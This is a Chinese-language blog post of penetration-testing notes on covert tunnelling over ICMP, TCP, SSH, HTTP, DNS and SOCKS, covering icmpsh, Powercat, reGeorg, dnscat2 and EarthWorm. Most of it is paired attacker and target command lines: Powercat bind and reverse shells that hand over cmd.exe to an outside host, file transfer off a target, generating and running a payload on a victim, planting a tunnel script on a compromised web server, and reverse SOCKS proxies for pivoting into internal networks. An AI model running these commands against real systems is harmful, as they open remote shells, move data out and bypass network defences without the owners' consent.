隐藏通信隧道技术

隐藏通信隧道技术

1|0基础知识


1|1常用协议


1.ICMP协议

ping IP

2.TCP协议

nc ip port

3.HTTP协议

curl ip:port

4.DNS协议

nslookup www.baidu.com vps-ip

dig @vps-ip www.baidu.com http://www.baidu.com

2|0网络层隧道技术


git clone https://github.com/inquisb/icmpsh.git

3|0传输层隧道技术


Powercat ——nc的powershell版本

git clone https://github.com/besimorhino/powercat.git 下载 cd powercat powershell Import-Module .\powercat.ps1

3|1nc正向连接powershell


攻击机:

nc 192.168.227.161 8080 –vv

靶机:

Powercat -l -p 8080 -e cmd.exe –v

-l:监听模式,用于入站连接 -p:指定监听端口 -e:指定要启动进程的名称 -v:显示详情

3|2nc反向连接powershell


攻击机:

nc -l -p 8888 -vv

靶机:

powercat -c 192.168.211.147 -p 8888 -v -e cmd.exe

3|3通过Powercat 返回 PowerShell


攻击机:

powecat -l -p 9999 –v

靶机:

powercat -c 192.168.130.150 -p 9999 -v –ep

3|4通过PowerCat传输文件


攻击机:

powercat -c 内网ip -p 端口 -i 目录

靶机:

powercat -l -p 端口 -of 文件名 -v

3|5通过PowerCat生成payload


攻击机:

1.powercat -l -p 8000 -e cmd -v -g >> karsa.ps1 2.上传到靶机中并执行 3.powercat -c 192.168.142.137 -p 8000 -v

4|0应用层隧道技术


常用隧道协议:SSH、HTTP/HTTPS和DNS

4|1SSH协议


  • 本地转发
攻击机:ssh –L 本地端口:目标主机:目标端口 jump

SSH的进程的本地端口映射可以将本地的某个端口转发到远端指定机器的指定端口;

本地端口转发则是在本地监听端口,访问此端口的数据都会通过SSH隧道传输到远端的端口

  • 远程转发
已拿下web服务器:ssh –R 远程主机端口:目标主机:目标主机端口 远程主机

本地转发是将远程主机某个端口的数据转发到本地机器的指定端口

远程转发是在远程主机上监听端口,所有访问远程服务器指定端口的数据都会通过SSH隧道传输到本地对应端口

  • 动态转发
ssh -D 8080 user@host

此时建立动态SOCKS4/5代理通道,在本地浏览器设置网络代理后,通过浏览器访问内网

4|2HTTP/HTTPS协议


  • reGeorg

主要功能为把内网服务器端口的数据通过http隧道转发到本机,实现基于http协议的通信

将tunnel脚本文件上传到目标服务器中,使用kali机访问服务器上tunnel文件。返回后,利用reGeorgSocksProxy.py脚本监听本地端口,建立通信链接

python reGeorgSocksProxy.py -u http://ip/tunnel.xxx -p 端口

4|3DNS协议


  • 应用原理

两台机器之间建立TCP连接后,如果目标是域名,将域名解析成IP进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,并返回结果。如果在互联网上有一台定制的服务器,那么依靠DNS协议即可进行数据包的交换。而事实DNS协议可以返回任何字符串,此时即可利用DNS服务器建立DNS隧道

  • 应用工具

dnscat2、iodine

4|4SOCKS代理


核心

帮他人完成socket访问网络。当我们通过代理服务器访问一个网址时,socks服务器其实是起到中间人的身份,其分别于浏览器与被访问的网站通讯然后将获取到的结果告知另一方

工作原理

当我们访问一个网站时,浏览器会先发送一个被访问目标的基本信息(url和服务端口)给socks服务端,socks服务端解析了这个信息后,会代替浏览器访问目标网站,并将访问结果回复给浏览器端


EW

http://rootkiter.com/EarthWorm/

EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。

使用方法:

以下所有样例,如无特殊说明代理端口均为1080,服务均为SOCKSv5代理服务.

该工具共有 6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。

  1. 正向 SOCKS v5 服务器
    $ ./ew -s ssocksd -l 1080

  2. 反弹 SOCKS v5 服务器
    这个操作具体分两步:

a) 先在一台具有公网 ip 的主机A上运行以下命令: $ ./ew -s rcsocks -l 1080 -e 8888 b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口 $ ./ew -s rssocks -d 1.1.1.1 -e 8888 成功。
  1. 多级级联
    工具中自带的三条端口转发指令,

它们的参数格式分别为:

$ ./ew -s lcx_listen -l 1080 -e 8888 $ ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999 $ ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999

通过这些端口转发指令可以将处于网络深层的基于TCP的服务转发至根前,比如 SOCKS v5。

首先提供两个“二级级联”本地SOCKS测试样例:

a) lcx_tran 的用法

$ ./ew -s ssocksd -l 9999 $ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999

b) lcx_listen、lcx_slave 的用法

$ ./ew -s lcx_listen -l 1080 -e 8888 $ ./ew -s ssocksd -l 9999 $ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999

再提供一个“三级级联”的本地SOCKS测试用例以供参考

$ ./ew -s rcsocks -l 1080 -e 8888 $ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999 $ ./ew -s lcx_listen -l 9999 -e 7777 $ ./ew -s rssocks -d 127.0.0.1 -e 7777 数据流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks

__EOF__

本文作者karsa
本文链接https://www.cnblogs.com/karsa/p/15996274.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   kar3a  阅读(174)  评论(0编辑  收藏  举报
编辑推荐:
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示